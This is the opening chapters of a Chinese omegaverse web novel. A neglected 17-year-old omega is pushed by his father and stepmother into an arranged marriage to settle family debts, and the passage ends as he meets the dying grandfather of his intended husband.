《娶了残缺O后豪门E真香了》
1. 第 1 章
江临一中两三百米开外,有条叫猫子街的暗巷,那里是几大高校众多校霸与不良混混的大本营。
他们在里面解决问题、小弟,甚至有的家里势力大的,还能顺带解决巡逻过来的老师。
当然,这种阴暗、道德败坏的地方,偶尔也会出现几名尖子生。
身为江临一中的年级第一,杜若寒跟其他高校被勒索的年级第一不太相同。
不仅仅因为他是江临一中的年级第一,更是五大高校总排名的年级第一。
杜若寒很穷,他身上除了吃饭以外没有多余的一分钱。
但这些围堵他的小混混们,往往也并不是为了钱才找上门的。
杜润雨站在外面听着小猫巷里的动静,管家的保姆车就停在街边不远处。
时间刚刚过去十分钟,他觉得应该是揍的差不多了。
巷子里嗯哼哈嘿一顿不明声响,伴随着拳打脚踢应该有的台词,只不过打到最后大家都成了哑巴。
除了越发清晰的喘息声在靠近,其余的人好像都被打瘫在地上没了动静。
杜润雨无聊的伸了一个懒腰,下意识的朝着巷口瞥去一眼。
一个穿着江临一中蓝白校服的瘦长身影,步伐十分稳健的从里面走了出来。
杜润雨的嘴角忍不住抽搐了两下。
他找来的七八个人竟然打不过一个信息素等级为C-的omega?!
而眼前的杜若寒仅仅是脸上擦伤了一点,还有身上的校服拉链被人扯坏了之外,完全跟个没事人一样。
他甚至还板着脸冲杜润雨点点头,像是见惯了这样的场面般,语气没有任何起伏的说:
“走吧。”
被打的人毫无感觉,雇人挨打的那个却气的一蹦三尺高。
在杜若寒的面前,小小年纪的杜润雨完全不掩饰自己对继兄的恶意。
“你他妈神经病吧?!打赢了很了不起是么?”
“你这样的omega就是个残废懂不懂啊?成绩再好有个屁用,以后谁能要你这样的omega。”
“还好爸妈也知道你在咱们家就是个累赘,这不早早就给你找好下家了么?”
说到这,杜润雨心情终于好转了些。
只要一想到这死人脸的家伙终于可以滚出自己的家,多年来的阴霾全部一扫而尽,根本不会注意到面前杜若寒微微放大的瞳孔。
这样的恶语相对已经不是第一次了,无论是在杜家,还是在杜家以外,他一直都并不在意。
因为母亲的早逝,父亲再娶,继母进门说要好好照顾小若寒。
事实却是任由杜若寒的病情加重,直至尚未发育完全的腺体功能坏死。
他一直以为自己不会再有分化期,会成为一名普通的beta。
即便普通也没有关系,只要离开家后仍旧可以活的很快乐。
但事与愿违,十六岁上高二那年,杜若寒迎来了自己的第一次分化。
寻常的分化已然不容易,更何况杜若寒的腺体还遭受过破坏。
那一次分化令杜若寒吃尽了苦头,他痛的在地板上打滚,眼泪鼻涕混着额头上的汗水一齐往下淌。
由于腺体发炎引起的高烧不断,杜若寒只能脸朝下的趴伏在床上,咬着自己的手忍过一阵又一阵的痛感。
他的另一只手里攥着一只小熊布偶,那是他亲生母亲常云唯一留给他的东西。
门内的他受尽煎熬,痛哭流涕的想念着母亲,却不敢发出丝毫的声音。
他不想引来杜润雨的嘲笑,引来继母花美琳虚情假意的关心,以及父亲杜兆看似关心实则指责的话语。
而门外,少了他的杜家一片欢声笑语。
在听到杜润雨那番话后,杜若寒有片刻的恍惚。
本以为只要熬到高考结束去了理想的大学,就可以远离这一切的。
杜若寒有些无望的想着,其实那年分化被烧死其实也是个不错的选择。
总好过自己是个残缺的omega,但好坏也能算个omega用用,不是么。
上了保姆车,已经逞过口舌之快的杜润雨解了气,没有再想着费尽心思挖苦自己的哥哥,抱着他妈给他新买的游戏机玩了起来。
从学校到杜家不过十五分钟的路程,杜若寒没来得及想太多,车子就已经停在了自家的别墅门口。
下车之前,杜润雨终于将视线从游戏机上挪开,特意看了一眼杜若寒,笑的着实有点恶心。
杜若寒看都不看他一眼,推门下车。
进了家门,隔着一块长而宽的水晶玻璃,他望见了坐在客厅里的几人。
杜兆、花美琳,还有他另外一个弟弟杜汀州,竟然都在。
杜若寒抓着书包带子的手止不住的握紧,心中立即有了一种不好的预感。
搞不好杜润雨那个吃屎小孩说的是真的,杜若寒紧张起来,又不得不安慰自己:
没事的,自己还未成年,如果他们真的敢这样做,那就报警。
这样想着,杜若寒心里才勉强接受了一点。
还没等他回过神,转身要去洗水果的花美琳格外眼尖的瞧见了他,脸上顿时露出一个大大的笑容来。
“小寒回来了怎么站在门口,也不吱声啊,你这孩子!”
说罢,花美琳已经快人快步的走到杜若寒的身边,十分热情的想要接过他的书包。
可杜若寒不松手,花美琳竟然没能扯动,正诧异这孩子哪来这么大的劲。
杜若寒却抬起头看着花美琳的眼睛,语调没有起伏:
“阿姨,我自己来。”
杜若寒不领情,花美琳只好讪讪一笑,松开了手。
“那什么,你快去把书包放下,你爸和汀州都回来了,好久没见了吧?去和他们说说话吧。”
“哥。”
杜汀州主动从沙发上站起身,礼貌乖巧的和杜若寒打招呼。
杜汀州是杜兆和花美琳的第一个孩子,只比杜若寒小一岁。
他这个弟弟无论是长相还是品性,在外人眼里看来都好的无可挑剔。
事实也确实如此,和年纪尚小、性格顽劣的杜润雨不同,杜汀州从来不不会找杜若寒的麻烦。
私下里也对杜若寒彬彬有礼,甚至在知道杜若寒身上没钱吃饭时,也会将自己身上所有的钱都给他。
并且事后也不会对杜兆和花美琳提起半句,这样家长不会感到难堪,杜若寒也不会因此而被为难。
尽管如此,如果硬要杜若寒在这两个弟弟中选一个相处,他宁愿选择杜润雨。
毕竟杜润雨的小把戏总是闹在明面上,好分辨也特别好应对。
但杜汀州不是这样的,他总是这样笑里藏刀,说着一些谁也听不懂的话,如果你领会不了,那就别怪他转头就捅你一刀。
杜若寒被他搞过一回,至今都心有余悸。
“嗯。”
杜若寒将书包放在一旁的架子上,听见杜兆不满的声音响起:
“这么大了,回来还不知道叫人?摆着个臭脸给谁看呢?”
“你身为哥哥一天到晚只知道学习,除了成绩好,你看看你还有点人样么?”
“汀州比你小都这么懂事,你呢?脸上的伤怎么回事?又跑去打架了?”
杜兆的连番追问与指责往往是不顾杜若寒死活的往下砸,杜若寒早已司空见惯了。
他背着书包就要往自己的房间走,刚上楼梯,就听见杜汀州出言维护他,像是演习好了一样。
这样的事情,在每一个杜兆和杜汀州回来的周五下午,都会上演一次。
一个尽力表演关心不听管教的严厉父亲,一个倾心演绎懂事听话身为榜样的好弟弟。
说实话,杜若寒一直觉得杜汀州有病。
他常年带着一个品行兼优完美好学生的面具,戴的都快要摘不下来了。
他俩上的同一个小学、同一个初中,杜若寒一直都是年级第一,杜汀州万年老二,偶尔并列。
他对杜若寒的恶意是赤裸裸的妒忌。
尽管在家中杜兆很少夸奖自己,只要一说,杜汀州的脸色就很差。
后来因为这件事情,家里爆发过一次剧烈的争吵。
在那之后,为了哄杜汀州开心,杜兆花了大价钱给他转去了私立的贵族学校。
而没有做错任何事情的杜若寒,除了接受全家的谩骂和虚情假意的关怀以外,什么都没得到。
在杜若寒刚要松口气关上房门时,听见杜兆追过来喊了一句:
“放了书包赶紧给我下来!我有事要和你商量,你听见没有?”
杜若寒脸色猛地一变,狠狠的砸上了门。<
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楼下的杜兆更气了,叉着腰恨不能再骂几句,一旁的杜汀州却不急不慢的笑着开口劝道:
“爸,你别生气。”
“若寒哥就是那样的人,你和他计较什么呢?”
“再说等会人生气了,江家的事可就不好和他开口了。”
听见杜汀州的话,杜兆愣了一下,摸了摸鼻子就坐了下来。
“行,爸你的。”
花美琳上楼喊过杜若寒,他才慢吞吞的从楼上下来。
杜兆一家子全都坐在饭桌前了,不过都没动筷子,明显在等他。
他们看着杜若寒,目光神情各异,但像是要将杜若寒活剥生吞了去。
“几点了?还要别人三请四邀的?耍什么大少爷脾气?”
杜兆忍不住开口说了他两句,杜若寒拉开椅子坐下,“说了不用等我。”
杜兆一见他这态度,就忍不住火气上来了,好在花美琳及时的拉住了他。
“那个什么,孩子们都饿了吧,吃饭,吃饭吧。”
身为杜汀州的母亲,花美琳身上同样有着不少演技在身的。
她给杜若寒不停的夹菜,时不时问一句杜若寒在学校的表现,等杜若寒回答后,就笑着夸奖两句,但决口不提成绩和排名。
因为这是她大儿子杜汀州最听不得的。
过了一会儿寒暄的话说的差不多了,花美琳才给杜兆使了使眼色。
杜兆夹菜的手一顿,想了想措辞才开口道:
“那个若寒啊,过了明年你就成年了吧?”
杜若寒握着筷子的手一僵,缓缓抬起头看向他亲生的爸。
杜兆被他这冷淡的眼神看的心里不是滋味,犹豫再三还是说道:
“爸有个朋友,他家儿子今年二十六了,还没有找到合适的omega,听说人长得好看家里还特别有钱,最重要的是还不介意你信息素等级低……”
有一瞬间,杜若寒简直不敢相信这样的话是从他亲爸口中说出来的。
杜兆被他看的心里发慌,止不住眼神打飘,花美琳赶紧在桌底下踢了他一脚。
平时骂小孩硬气,遇到大事就这幅没出息的样子。
花美琳转过头来冲杜若寒一笑,“那个若寒啊,你爸也是为你好,毕竟你也知道的嘛,你这个身体……确实特殊。”
“本来我们确实也不急着为你寻人家的嘛!但这不是前不久你爸公司的资金链出了问题,迫不得己才——”
“那怎么不让杜汀州去当人家老婆。”
杜若寒不开口则已,一开口惊人。
花美琳吓的赶紧去看自家儿子的脸色,好在杜汀州不会在这种口角上和他计较什么。
“汀州他……他不是omega呀。”
“本来这事呢,你爸爸说的时候我就说对不起你母亲,想着反正我有两个儿子,倒不如送一个去算了。”
“可就在前两天,我们才发现汀州分化成了alpha,你弟弟润雨又那么小,刚上初一的年纪……你说我们当父母亲的,还能真的舍得自家孩子去受苦么?”
花美琳说着说着,满眼的舍不得,眼角更是隐约有泪花在闪烁。
像是真的是他们被迫,情不得已。
“再说你这身体吧,我和你爸常常担心你以后会找不到好的人家,要不你去见见?如果你不喜欢,那阿姨替你做主,直接给你拒了都行。”
“你就权当看在你爸爸的面子上,帮他这么一回吧!”
“你爸真的很不容易,每次为了咱们这个家,应酬的胃都要喝吐血了……”
花美琳越说越夸张,越说越离谱,她敢说,杜若寒都不敢再听。
一桌子上除了杜若寒臭着一张脸,杜润雨是想笑不敢笑,杜汀州也是低着头不说话掩饰了过去。
杜若寒实在是不想再听他们聒噪,丢下筷子站起了身。
杜兆脸色一变,“你干什么?”
杜若寒看都不看他们一眼,转身丢下一个字:“行。”
杜兆和花美琳皆一愣,根本没敢想他会这么爽快的就答应了。
还没来得及高兴,就听上了楼的杜若寒又甩下来一句话。
“只要你夫妻二人不怕我妈夜半三更来找你们索命就行。”
听到这话的杜兆和花美琳脸色顿时变得难看起来。
2. 第 2 章
星期六,杜兆不在家,花美琳也就懒得再装出一副贤妻良母的样子。
杜若寒一整天都没怎么出过自己的房门。
吃晚饭的时候,她才让杜润雨像模像样的叫一声。
杜润雨火速上来楼,朝着杜若寒的房门“哐哐”踹了两叫。
“耳朵聋掉啦?喊你吃饭听不见啊!”
吃屎孩子跟他爹一个死德行,杜若寒听见了动静也没从椅子上起来。
房门他早就反锁过了,屋内也没开灯,杜若寒一个人坐在窄小且黑的空间里,只有手里攥着的手机屏幕亮起淡淡的光芒,照亮他几乎没有血色的薄唇。
绿泡泡上,他和好友竹玉渲聊天记录的上一条是,竹玉渲问他:寒宝,需要转多少钱呢?一万?还是三万呀?(爷有钱.jpg)
杜若寒望着这条消息已经发了好一会儿的呆,到底需要转多少他才能还清这些年杜兆在他身上花费的金钱。
又或者,到底需要多少钱才能彻底与杜兆撇清父子关系。
竹玉渲的母亲是燕临市某个上市公司的高层,父亲身份不详,但具说竹玉渲的母亲每年都能收到对方接近三百万的抚养费用。
而竹玉渲的母亲每年也会将这笔钱存进竹玉渲特定的理财基金里去。
也就是说,身为高中生的竹玉渲很有钱,小小年纪身价已经达到了上千万。
但杜若寒也从未想过要从对方手中借出几百万的金额,去用来填补杜兆公司的窟窿。
杜兆开的那个破公司根本就不正规,只不过是杜兆为了与他那些狐朋狗友走动往来方便,骗花美琳的。
这事杜若寒知道,杜汀州也知道,只有花美琳蒙在鼓里。
杜汀州城府之深,为了家庭表面上的一丁点儿和睦和美满,他能连他妈也骗。
即便竹玉渲敢给,杜若寒也绝不可能拿这钱给杜兆糟蹋。
原本杜若寒想的是,先问竹玉渲借一点跑到外面躲一阵子。
但很快他又想到,自己是未成年,身份证都在杜兆那收着,自己又能跑到哪里去呢。
就算真的能躲能跑,那他的学业呢?
今年他高三,还有十个月的时间就要高考了,除非他能舍得下他这么多年刻苦努力读的书。
想了很久,杜若寒越想越感到无力,一种绝望的情绪在心底蔓延。
手机对面的竹玉渲等了好久也没等到他的回应,又发来一个表情包。
杜若寒才深呼吸一口气,颤抖着手指划开手机屏幕,在对话框上敲下几个字:玉渲谢谢你,我暂时用不到了(抱抱.jpg)
他下楼时,继母和两个弟弟已经吃过了,桌子上没剩什么菜。
杜若寒也习以为常的知道,他们不会特意为他留,竟直去冰箱里摸了一块冻得梆硬的馒头。
那是他前天从学校带回来的,还没有吃,扔了又可惜。
用微波炉加热后,就着桌子上的剩菜才吃了今天的第一顿饭。
晚上十一点多,杜兆从外面回来敲醒了杜若寒的房门。
杜若寒不开,他在外面又喊了几遍,最终服软道:
“寒寒,给爸开门,爸给你买了新的颈环,你上次不是说想要的么?”
杜若寒愣了一下,简直难以相信自己的耳朵。
那也是前段时间自己随口提的一句,他并不觉得杜兆会放在心上。
杜若寒的信息素等级很低,上到高二的时候,班级里分化的同学变多。
虽然alpha的信息素要比omega的冲很多,但杜若寒贴着信息素贴,多少也能熬着。
可到了高三,班级里的同学们基本上都已经完成了分化。
杜若寒所待的班级是江临一中最好的尖子生班,三十五个学生中,有二十八个都是高信息素等级的alpha。
家庭条件好的学生,能买更高效控制信息素的手环和颈环。
而条件不好的,只能用副作用比较大的信息素贴。
除了杜若寒,班上还有好几个家里贫穷的学生,有时竟然连信息素贴都省着不买。
杜若寒熬了整整一学期,实在是痛苦的不行。
他对信息素贴过敏,贴的时间长了腺体便会发炎流脓,有一次还被同班同学的omega嘲笑过。
那天杜若寒本来没觉得很委屈,但是杜兆却提前给还没分化的杜汀州买好了颈环。
即便他知道粗心大意的杜兆极有可能是在花美琳的提醒下,才想起来买的。
但是同样身为他儿子的杜若寒,为什么总是被抛弃、无人在意和想不起来的那个呢?
杜若寒冲杜兆发火,那也是杜兆少有一次知道自己理亏而没有说话的时候。
杜若寒板着脸打开门,杜兆立刻就扬起笑脸将尚未拆过包装的颈环递到他跟前。
“看!爸爸没骗你吧?寒寒。”
杜若寒有些愣愣的看着怀里高端的包装盒,这竟然是spx推出的最新限量款颈环。
竹玉渲用的就是这款,他知道价格,39999燕京币。
但停售之后这东西现在基本上属于是有价无市,价格也被黄牛炒到十万以上了。
杜若寒将包装盒扔回了杜兆的手里,转身就要关门。
杜兆一脸错愕,压根就摸不透他这个儿子到底在想什么。
杜若寒和他妈常云一样,是个说翻脸就翻脸的主儿,而这也是杜兆最讨厌他的地方之一。
“你干什么?不是你说要的么?我买来了你又不要了,你到底要干什么?”
杜兆一把将杜若寒推进了房间里,杜若寒就用那双酷似常云的眼睛死死得瞪着他。
一瞬间,杜兆那个心啊就跟漏了风一样,难受的不行。
他忽而想起常云去世前,第一次服软,流着泪求他的模样,说一定要照顾好他们的孩子。
杜兆已经记不得自己当时是怎么说的了,也记不得有没有答应。
反正那样的场景这么多年过去了,杜兆根本不敢回想。
他心虚的避开了杜若寒的眼睛,底气不足的问:
“你干什么这样看着我。”
杜若寒说,“这不是你买的,谁给你的?”
“买我的人给你的对么?”
被戳穿的杜兆一下子面红耳赤起来,“你这孩子说话怎么那么难听!”
杜若寒没有说话,只是一动不动的站在那里。
杜兆只好接着说,“明天我带你去见一个长辈,你要听话有礼貌知道么?”
杜若寒抬起头来看着他,那双眼眸黑的发亮发寒。
“你怎么不带杜汀州去。”
杜兆一愣,“我带他去干嘛,他、他不是分化成了alpha了么?昨天饭桌上不是跟你说了么?”
杜若寒冷笑,一脸的不信:
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“你骗人!”
“昨天吃饭的时候杜汀州身上根本就没有信息素的味道!他根本就没有分化对不对?”
谎言被揭穿的一瞬,杜兆肉眼可见的慌了一下,但很快又稳住道:
“我骗你干什么?你弟弟就是要分化成alpha的,他的体检报告我可以拿来给你看,他分化成alpha的概率是95.6%!只是还没到时间而已!”
“你要是不信,我让你阿姨拿给你看!”
说到这,杜兆终于理直气壮起来,但很快他便愣住了。
杜若寒哭了。
他不再用力瞪着一双大眼睛看着杜兆,只是倔强的别过头去。
“我跟你去,你以后不再是我爸爸。”
听到这话的杜兆却像是见了鬼般的脸色发白,想说些什么,嘴唇抖了又抖也没能说出来。
难道是他想要将自己儿子送出去的么?
难道他就是这样狠心无情的父亲?
难道他真的像外面说的那样,卖子求荣?
一瞬间无数个念头将杜兆砸的头晕,至于究竟什么时候从杜若寒房间里走出来的,他自己都不知道。
第二天早上,杜兆起床刚下楼,就看见杜若寒已经将自己收拾好了,坐在沙发上背脊挺的很直的在等。
昨晚那种莫名的心慌感又来了,杜兆下楼的小腿有点颤抖。
杜若寒听见声音,抬起头来看他,脸上更是一点表情都没有。
仿佛昨天昨晚在他面前哭的那个小孩,一下子从杜兆面前消失了。
“什么时候走。”杜若寒问他。
杜兆脸上勉强挤出一个笑容来,“急什么。”
说是不急,结果他十分钟不到就将自己十分体面的收拾好了,连早饭都没来得及吃。
倒是格外对杜若寒献殷勤的让花美琳给孩子准备了鸡蛋和牛奶,怕他路上饿。
杜若寒知道他是怕自己在那个买自己的人面前饿肚子,丢脸。
杜兆穿上他最贵的一套西服,出门前花美琳给他打了漂亮的深蓝色领结,皮鞋也擦的噌亮。
杜若寒就站在门口看着,他知道这样细微的小事,他母亲常云就从来都没有为杜兆做过。
这是杜兆亲口说的,真假难辨,但杜若寒就是信。
因为他母亲给留他的书信和照片上,都不难看出她是一位十分高傲而矜持的美人。
当年是杜兆舔着脸硬生生跟在常云的屁股后头追了两三年,才最终抱得美人归。
所以婚后没多久,大抵是男人自尊心受损,又或是杜兆本性如此,没多久身边就有了一群体贴杜兆的莺莺燕燕。
花美琳只是其中最没特色,又最能忍的一个,所以才能熬到如今的地步。
等杜兆收拾妥当出门,才看见杜若寒身上的衣服其实已经很旧了,白色的衬衫都泛着黄。
他只带了杜兆昨晚送他的颈环,整个人站在那里即瘦弱又可怜。
“那个阿琳,要不你拿汀州的衣服给寒寒换一下,我瞧着他衣服都破了。”
杜兆忍不住皱眉。
花美琳转头看了杜若寒一眼,忍不住催促道:
“哎呀来不及了,你快些去吧,我等会就去商场给寒寒买两套来。”
“走吧走吧,老先生不喜欢别人迟到的。”
杜兆只好点点头,领着杜若寒出了门。
3. 第 3 章
“你要带我去见谁。”
看着车窗外一一略过的树荫、倒影和行人,微风吹乱了杜若寒额前的碎发。
杜兆转过头来看他,只瞥见一个清秀的侧脸。
“是一个人很好但生病了的老先生。”
杜兆嘱咐道:
“等会我们进了病房,你要记得喊人知道么?”
杜若寒收回目光,将车窗按了上去,语气略带嘲讽:
“我用什么身份喊人家。”
哪怕杜兆现在说要把自己卖给别人当儿子,管人家叫爸,他也是信的。
至于那天在饭桌前杜兆和花美琳的那些说辞,什么长得英俊、家里很有钱、才二十六岁云云,他一个字都不信。
长得英俊、有钱,还不介意他身体上有缺陷的,如果那个人不是傻子,那八成也是个残废。
估摸着瘫痪在床了,所以才会同样不介意一个年纪小、腺体残缺的omega。
这样等他老了,自己还年轻能伺候他,所以他才要找小的。杜若寒无不恶毒的想。
杜兆不知道他在想什么乱七八糟的鬼东西,一本正经的说道:
“你当然管人家叫爷爷了,这个老先生是你以后夫家的爷爷。”
“老先生很厉害的,就是可惜到了晚年该享福的时候得了脑癌,没几日好活了。”
“我不管你在家怎么横,等会到了那边你可要注意自己的言行举止,不能这么没有礼貌知道么?”
杜兆不放心,左一遍又一遍的叮嘱。
杜若寒却觉得好笑,自己平时态度再不好,也绝对不会迁怒一个陌生人。
杜兆压根不了解他,总以为自己在家什么样,在外就什么样。
他从不去学校参加杜若寒的家长会,因为在外面他是杜润雨和杜汀州的爸爸。
他的两个弟弟都很要面子,所以杜兆只能当他们的爸爸,给他们开家长会。
杜若寒在学校里跟两个弟弟没有关系,没人知道他们是杜若寒的弟弟,所以杜兆也就只能这样偏心。
而花美琳就更不会了,她本来也就不是杜若寒的亲生母亲。
好在杜若寒成绩很好,一直都是老师们心尖上的宝贝疙瘩,没人来参加他的家长会,老师们也并不会过多为难他。
想到这,杜若寒心里忽而憋了一口闷气。
但很快,这口闷气随着他的想开点,又悄悄的消失了。
没事的,反正以后也不会和这一家子有什么联系了。
杜兆告诉过他,如果老先生喜欢他的话,他就要搬去江家的宅子里去,不能待在杜家了。
而不待在杜家,这对于杜若寒而言其实是件天大的好事。
同样都是寄人篱下,陌生人的为难总好过亲人的坐视不理。
想通了的杜若寒说:
“知道了。”
半个小时后,车子停在了燕临市第一人民医院的门口。
司机下车将后备箱早就准备好的果篮与礼品取出,杜兆冲他伸手示意自己来就行。
杜若寒就站在旁边看着,杜兆倒是很少见的没有再摆出一幅有钱人的架势。
极有可能对面是真正的有钱人,知道自己那点架势也没脸见人了,杜若寒心里默默的想。
两人乘坐VIP专属电梯上了十二楼。
燕临第一人民医院里住着的病人,不乏有权有势之人,有钱的在这里更显的普通。
再说,没钱也确实住不进来。
看来杜兆说对方有钱,那可能真的是非常有钱。
杜若寒跟着杜兆在干净而明亮敞快的走廊上不断往里走,迎面所遇见的医护人员无论认识与不认识,皆面带微笑的对他们点头问好。
和他小时候来过这家医院记忆中,那人满为患、走廊上到处都是或坐或站的病患家属,截然不同。
这里仿佛是另一个不可思议的世界,全然是为权贵们打造的静养之地。
杜兆所说的那位老先生,应该家里背景不小。
一整条走廊上每隔七八米的间距,便站着两名身穿黑色西装的保镖。
他们无一不身材高大魁梧,手上、颈上皆戴有用于控制信息素释放的环器。
佩戴双重抑制环的人,杜若寒只在教科书上看过,现实生活中却从未见到过。
这也就意味着这些保镖的身份都是信息素等级非常之高的alpha,极有可能达到了A+或s。
然而全国又有多少信息素等级能达到A+的alpha?他们只占总人口的百分之六而已。
但今天光站在这里的,杜若寒所能看见的,就不下十几个。
到底得多有钱,才能让这样的人为他们家卖命?
这样的念头从杜若寒的脑袋里涌出,很快便化为更深的惊惧。
这样的人群可并不是有钱就能驾驭得了的,不仅要有钱,还要有权。
有权有势的人,为什么会看中他一个有缺陷的omega?又或许是杜兆被骗了?
杜若寒越想越觉得后者的可能性更大,下意识伸手想要去抓杜兆的衣服。
然而杜兆在看见走过来的人后,脸上已经堆满了谄媚的笑,快步迎了上去。
杜若寒这一下,便抓了个空。
“杨先生,孩子我今天带来了,老先生身体还好吧?”
杜兆和那名被叫做杨先生的保镖头子握了一下手,那人面无表情,眼神却很快速的瞥过杜兆身后站着的杜若寒。
“杜先生,您儿子很瘦啊,有十七么?”
他不接杜兆的话,且意义不明说的这两句,一下子令杜兆的神情一变。
杜兆知道,这是人家怀疑自己带了假的孩子来,他急的张口就要解释:
“真是我儿子杜若寒!这孩子挑食,所以才长得瘦小了些。”
“我哪敢骗您和老先生呀!”
那保镖头子忽而不说话了,杜兆心里正忐忑不安呢,却瞧见那人目光穿过自己的肩膀向后看去了。
杜兆一愣,下意识转过头去,只见杜若寒睁着一双明亮的玻璃大眼珠子正和那人对视呢。
这孩子!真不礼貌!
他还没来得及说话,却见那姓杨的忽而嘴角向上勾起一个浅浅的弧度,竟笑了一下,又变得意外好说话的挥了挥手。
“行了,你们进去吧。”
杜兆又惊又喜,连忙点头哈腰的道谢。
随后,另有一名保镖从那名保镖头子身后走出来为他们带路。
穿过长廊,两人站在淡青色的房门前。
保镖没有贸然的敲门,只是在门口等了一会儿,房门竟自动从里面打开了。
杜若寒微愣,抬头看了一眼上方,这才发现他们所在的整条走廊以及房门口,都安装了最为先进的监控系统。
门口之外,保镖做了一个请进的姿势,并伸手接过了杜兆手中的果篮与礼品。
杜兆很显然也没见过这样的架势,手中一空之后,紧张感更甚之前,但也只能硬着头发进了房间。
杜若寒跟在他后面,错开杜兆的后背,一眼便瞧见坐在床上正乐呵呵看着电视的老先生。
见他们进来了,才不紧不慢的拿过一旁
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的遥控器关了电视,转头看向杜兆,以及杜兆身后的杜若寒。
他在打量杜若寒的同时,杜若寒也在凝神打量着他。
先生剃了头发,光滑的脑袋左侧微微肿胀起一个弧度,并没有做开颅手术,而是选择了更为保守的治疗方式。
年纪上了六七十的老人,第二性别无论是alpha还是omega,腺体的自然萎缩和信息素的减少缺失,都会迫使他们变得更为的普通和脆弱。
但眼前的这位老先生却与杜若寒见过的任何一位老人都不同。
大抵是年轻时高等级信息素带来了的增益,很大程度上减缓了自身的衰老,除去眼角细微的褶皱与不再饱满的面颊,他看上去也不过是五十出头的年纪。
他有一双深邃而又智慧的眼睛,被一幅透明的眼镜框所遮挡,而隐藏住了几分令人发怵的锐气。
即便身患绝症,老先生活得却极度的体面。
穿在他身上的蓝白色睡衣,杜若寒竟然找不到一丝一毫的褶皱。
在右侧的飘窗上还摆放着两盆君子兰,一盆是清新淡雅的黄,另一盆则是满满生命力的橙红。
它们过于生机勃勃,开的正是最灿烂热烈的时候,衬着床上的老人也是一幅精神抖擞、无病无痛的模样。
杜兆太过于紧张,以至于还没来得及反应着开口,那先生就先一步冲他身后的杜若寒招了招手。
“是叫若寒么,过来。”
忽而被点到名字的杜若寒只犹豫了一秒,还是走到了他的跟前一米左右的距离停下。
老先生又很仔细的上下打量了一番杜若寒,目光算得上柔和,不知道是满意还是不满意的轻微点了下头。
杜兆这才反应过来刚要开口说话,老先生便撩起眼皮轻瞥了他一眼,这一眼吓得杜兆差点没能喘得上来气。
“杜先生,我想和你家孩子单独说两句。”
杜兆哪有不答应的,连连点头:“好的好的,我就在外面,您有事便叫我。”
杜兆走了,房间内一下子就只剩下一老一小两人。
杜若寒心里有点紧张,但不多。
最主要的是,他没怎么与老人一起相处过,不知道什么话该说,什么话不该说。
杜若寒小小的走了一会儿神,便听见那位老先生主动和他搭话说:
“喜欢君子兰?”
杜若寒这才意识到自己的视线没处放,便落在了飘窗上的那两盆君子兰上。
他想了想,便顺着老先生的话往下说道:
“喜欢,我母亲生前最爱的就是君子兰。”
提到他母亲,第五治瞧见眼前这孩子的眼眸倏得一下亮了起来。
他忍不住笑了笑,确实是年纪尚小,孩子该有的坦诚、朴实与美好,都能很轻松的在他身上找到。
与其他几个好兰世家的孩子完全不同。
他们成熟、懂得人情世故,十岁出头的年纪便被浸泡在名利场里的父母亲带在身边,往来交际。
所以他们行为处事更为的老成,说话圆滑又好听。
能养出这样孩子的家庭,不仅仅是费钱,也费父母亲的心血。
如此一来,好兰世家的孩子们,从出生到死亡,也终将与他们父母亲的家族利益紧紧捆绑在一起。
第五治觉得他们好,又不好。
杜若寒是最后一个前来见他的好兰世家的孩子,原本他也就没有抱有什么希望。
作为好兰世家之一的常家,随着常云的去世,常家的资产转移到杜兆名下没几年,已然挥霍一空,没落得仅剩下一个空头衔。
4. 第 4 章
“我知道你母亲。”
“您知道我母亲?”
老先生笑了笑,“不仅知道,你母亲还见过我呢。”
“那时候她还是个学生,穿着一身水蓝色的长裙,留了及腰的长发,笑起来很腼腆……给我念过一首自己创作的诗。”
“诗词我倒是不记得了,不过她确实是个很有才情的小姑娘。”
杜若寒愣了一下,心中忽而感触万分。
他母亲常云去世的早,那一年杜若寒才一岁多点,还只会喊妈妈和爸爸。
而杜兆又早早有了新的家庭,对于曾经的亡妻,就更是只字不提。
等杜若寒再大些,母亲、以及母亲的名字都成为了旁人口中很少提起、最熟悉的陌生词。
而常云留给他的,也就只有一本写了一半的日志、几张模糊了的照片,和一只亲手缝制的小熊玩偶。
他们对常云的评价总是带着几分毫不掩饰的恶意或是妒忌,说她自视清高,偏偏又红颜薄命。
说她才气不小,却又眼光差的要命,挑了那样沾花惹草的丈夫。
说她长了一张专勾男人的脸,却又性情古怪,常人难以解近。
如此云云,杜若寒从来只听不信,又尤为厌恶那些搬弄他母亲是非的人。
可在老先生的口中,他母亲又变得鲜活而纯洁起来,根本就不是那些人说的那样不好。
杜若寒心中高兴,连带着对眼前的老先生也生出几分亲切的感觉来。
“我该怎么称呼您?”
老先生从床上下来,“我姓伍,你叫我伍爷爷就好。”
和杜兆提及过的江家,好像不是一个姓。
杜若寒心里有些疑惑,但并没有多问,只是乖巧的点点头应道:
“好的,伍爷爷。”
第五治满意的笑了,这孩子越瞧他便越喜欢,拿过桌子上的苹果和刀,不一会儿的功夫就削好了皮递到杜若寒的手上。
“吃吧小宝。”
给了杜若寒一个香甜的苹果后,第五治坐在飘窗跟前的椅子上,身后就是那两盆开的正好的君子兰。
“十七岁正是长个儿的年纪,杜兆待你不好?”
第五治微微耷拉着眼皮看他,虽然脸上没有太多的表情,但杜若寒却并不怎么害怕。
他想了想,开口只有四个字。
“勉强生存。”
第五治放在椅把上的手倏而收紧了些。
也不知道一个小孩究竟经历了些什么,才会说出这样淡漠的话。
第五治看过杜若寒的资料,也在视频中见过杜兆与花美琳生的第一个儿子。
那个小孩和眼前的杜若寒相比,大方自信,谈吐优雅,是个正常人家该有的模样。
虽然比起真正好兰世家的孩子们,还差的很远。
第五治想了想,还是决定先问问杜若寒的意见。
“若寒,伍爷爷想给你换个更好的环境生活,你愿不愿意呢?”
杜若寒看着手上那只削好了皮、自己却还没来得及吃的苹果,只是犹豫了几秒便答道:
“愿意的,伍爷爷。”
说是愿意,其实也是被迫身不由己,哪能高兴呢?
第五治冲他招招手,“过来。”
杜若寒走过去,站在第五治的面前。
第五治握住他的右手,杜若寒的右手冰凉一片。
伍爷爷的手掌却粗糙厚实,很是温暖。
“若寒,你这么聪明一定看见爷爷头上的肿瘤了。”
第五治语重心长的和他说道:
“爷爷有个孙子,比你呢,年长些。”
“我不知道我还能活多久,他和你一样,与自己父亲的关系不好,常年孤身一人在外奔波。”
“爷爷呢,希望你们能成为彼此的家人。”
“他会把你照顾的很好,那以后,若寒也要替爷爷好好的陪在他身边。”
“可以么?”
杜若寒看着老先生满是柔情的眼睛,莫名的鼻子有些酸涩,拒绝的话更是说不出口。
他犹豫了一会儿,才开口道:
